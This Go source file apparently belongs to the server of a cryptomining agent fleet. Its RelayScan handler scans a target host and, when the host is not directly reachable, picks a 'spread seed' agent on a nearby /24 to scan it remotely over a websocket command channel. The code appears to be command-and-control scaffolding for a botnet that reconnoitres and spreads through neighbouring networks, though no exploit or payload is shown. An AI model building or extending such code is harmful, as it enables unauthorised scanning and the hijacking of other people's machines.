package api import ( "encoding/json" "net/http" "strings" "time" "crypto-miner-server/internal/recon" ) const relayScanTimeout = 30 * time.Second func (h *ReconHandler) RelayScan(w http.ResponseWriter, r *http.Request) { var req recon.RelayScanRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.Host = strings.TrimSpace(req.Host) if req.Host == "" { http.Error(w, "host required", http.StatusBadRequest) return } host, err := recon.NormalizeHost(req.Host) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } req.Host = host if recon.HostReachable(host) { report, err := recon.LocalRelayScan(req) if err != nil { writeJSON(w, map[string]interface{}{"ok": false, "error": err.Error()}) return } writeJSON(w, map[string]interface{}{"ok": true, "report": report.ToScanReport()}) return } if h == nil || h.wsHub == nil { writeJSON(w, relayScanFallback(host, "", "", "fleet websocket hub unavailable")) return } seedID, seedName, ok := pickSpreadSeedAgent(h.wsHub, host, "") if !ok { writeJSON(w, relayScanFallback(host, "", "", "no online fleet agent on nearby /24 to relay scan for "+host)) return } ch := h.wsHub.AwaitCommandResult(seedID, "recon_relay_scan") args := map[string]interface{}{"command": host} if req.UDPGuess { args["path"] = "true" } if err := h.wsHub.SendAgentCommand(seedID, "recon_relay_scan", args); err != nil { h.wsHub.CancelAwait(seedID, "recon_relay_scan") writeJSON(w, map[string]interface{}{ "ok": false, "agent_id": seedID, "agent_name": seedName, "error": err.Error(), "report": relayScanFallbackReport(host, seedName, "relay dispatch failed: "+err.Error()), }) return } select { case payload := <-ch: success, _ := payload["success"].(bool) msg, _ := payload["message"].(string) if !success { writeJSON(w, map[string]interface{}{ "ok": false, "agent_id": seedID, "agent_name": seedName, "error": strings.TrimSpace(msg), "report": relayScanFallbackReport(host, seedName, strings.TrimSpace(msg)), }) return } shell := recon.RelayScanReport{ Host: host, LocalReachable: false, ScannedVia: "relay", RelayAgentID: seedID, RelayAgentName: seedName, } merged, err := recon.MergeAgentRelayScan(shell, []byte(msg), req.UDPGuess) if err != nil { writeJSON(w, map[string]interface{}{ "ok": false, "agent_id": seedID, "agent_name": seedName, "error": "invalid agent relay payload: " + err.Error(), }) return } writeJSON(w, map[string]interface{}{ "ok": true, "agent_id": seedID, "agent_name": seedName, "report": merged.ToScanReport(), }) case <-time.After(relayScanTimeout): h.wsHub.CancelAwait(seedID, "recon_relay_scan") writeJSON(w, map[string]interface{}{ "ok": false, "agent_id": seedID, "agent_name": seedName, "error": "relay scan timed out", "report": relayScanFallbackReport(host, seedName, "relay scan timed out after 30s"), }) } } func relayScanFallback(host, agentID, agentName, message string) map[string]interface{} { out := map[string]interface{}{"ok": false, "error": message, "report": relayScanFallbackReport(host, agentName, message)} if agentID != "" { out["agent_id"] = agentID } if agentName != "" { out["agent_name"] = agentName } return out } func relayScanFallbackReport(host, relayVia, message string) *recon.ScanReport { return &recon.ScanReport{Host: host, ScannedAt: time.Now().UTC(), RelayVia: relayVia} }